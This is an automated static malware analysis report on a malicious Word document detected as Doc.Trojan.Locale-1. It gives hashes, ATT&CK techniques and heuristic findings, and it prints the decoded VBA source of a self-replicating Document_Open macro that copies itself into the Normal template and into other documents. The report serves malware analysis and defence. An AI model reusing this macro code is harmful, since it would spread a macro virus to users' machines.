Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3278b6067710c809…

MALICIOUS

Office (OLE)

128.0 KB Created: 2011-01-19 21:05:00 Authoring application: Microsoft Word 10.1 First seen: 2017-02-22
MD5: b090babd3c2e43b008b6814f85267687 SHA-1: 726eeb4c27cec31e64b6dc5ed0198d9273edd969 SHA-256: 3278b6067710c8098b0b069c3619a18bbc838a0835dc213bf040bbc83a83a9a6
228 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information

The sample is an OLE document containing VBA macros, flagged by ClamAV as Doc.Trojan.Locale-1. The Document_Open macro appears to be designed to copy itself and potentially execute further malicious code, likely by appending a payload as indicated by the OLE_APPENDED_PAYLOAD heuristic. The document body's content about a court case and project deadlines is a lure to engage the user.

Heuristics 5

  • ClamAV: Doc.Trojan.Locale-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Locale-1
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 131,072 bytes but its declared streams total only 24,820 bytes — 106,252 bytes (81%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • OLE file has appended executable-looking payload bytes high OLE_APPENDED_PAYLOAD
    OLE compound file contains a large high-entropy region beyond the declared major streams and that region includes shellcode, PE, or loader API markers. This is a payload-carrier signal, not a specific CVE attribution by itself.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open()     Set newDocument = Documents(1)     nextRoutine = "Document_Open"          Set prevDocument = ActiveDocument     Set nextDocument = NormalTemplate          With nextDocument.VBProject.VBComponents         For i = 1 To .Count      …

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1575 bytes
SHA-256: 8d22881a2ac373b5e3d86d117fae1ab27791a6f8745f1f8369c2b5f5694c8b7e
Detection
ClamAV: Doc.Trojan.Locale-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Set newDocument = Documents(1)
    nextRoutine = "Document_Open"
    
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
    
    With nextDocument.VBProject.VBComponents
        For i = 1 To .Count
            If .Item(i).Type = 100 Then
                With .Item(i).CodeModule
                    If Not .Find("Sub " + nextRoutine + "()", 1, 1, .CountOfLines, 10) Then
                        With prevDocument.VBProject.VBComponents.Item(1).CodeModule
                            codeString = .Lines(.ProcStartLine(nextRoutine, vbext_pk_Proc), .ProcCountLines(nextRoutine, vbext_pk_Proc))
                        End With
                    End If
                    .AddFromString codeString
                    .ReplaceLine 1, "Private Sub " + nextRoutine + "()"
                    If prevDocument Is NormalTemplate Then
                        .ReplaceLine 5, "    Set prevDocument = ActiveDocument"
                        .ReplaceLine 6, "    Set nextDocument = NormalTemplate"
                    Else
                        .ReplaceLine 5, "    Set prevDocument = NormalTemplate"
                        .ReplaceLine 6, "    Set nextDocument = newDocument"
                    End If
                End With
            End If
        Next
    End With
End Sub

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